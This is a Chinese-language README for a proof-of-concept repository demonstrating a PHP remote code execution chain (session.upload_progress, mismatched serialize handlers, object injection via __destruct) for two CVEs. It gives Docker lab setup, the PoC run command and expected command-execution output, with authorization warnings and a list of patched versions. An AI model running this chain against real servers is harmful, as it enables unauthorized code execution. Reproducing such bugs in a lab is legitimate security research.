# php2shell-poc — CVE-2026-109618 / CVE-2026-109619 演示 PoC

> ⚠️ **仅限自有环境 / 已获书面授权的测试环境使用。**
> 请勿对任何未授权的系统运行本 PoC。运行前请确认你有权测试目标，
> 并在隔离网络或容器中进行。因滥用造成的后果由使用者自行承担。

## 这是什么

一份用于复现公开链条的最小 PoC，配合文章
《PHP 两个 9.2 分 RCE：官方说的根因，和公开 PoC 演示的不是一条路》使用。

- 攻击面：`session.upload_progress` + 两个目录使用不同的 `session.serialize_handler`
- 效果：对象注入 → 反序列化失败清理阶段触发 `__destruct()` → 命令执行
- 它演示的是 `session.upload_progress` 这条路径，**不是**官方公告里
  OOM longjmp / stale global state 的根因（详见文章）

## 目录

```text
poc.py              最小 PoC（Python 3 标准库）
Dockerfile          靶场：php:8.2.34-fpm + nginx（修复前版本）
nginx-site.conf     靶场 vhost
webroot/app/        写入侧目录（.user.ini: php_serialize）
webroot/api/        触发侧目录（.user.ini: php，含 Logger gadget）
php2shell-poc.zip   以上文件的打包（不含本 zip 自身）
```

## 起靶场

```bash
docker build -t php2shell-poc .
docker run -d --name php2shell-poc -p 8080:80 php2shell-poc
curl -s http://127.0.0.1:8080/api/app.php   # -> [api] session started
```

## 跑 PoC

```bash
python3 poc.py 127.0.0.1 8080 "id"
```

预期输出（靶场里）：

```text
[1] seed: 200
[2] fire: 200
[gadget] uid=33(www-data) gid=33(www-data) ...
```

## 清理

```bash
docker rm -f php2shell-poc
docker rmi php2shell-poc
```

## 说明

- 本 PoC 未在发布者的本机执行过（无 Docker），代码按公开链条重写；
- 靶场配置刻意放大了可利用性（`cleanup=0`、`use_strict_mode=0`、两种 handler），
  真实站点通常凑不齐这些条件；
- 官方修复版本：8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 或更高。
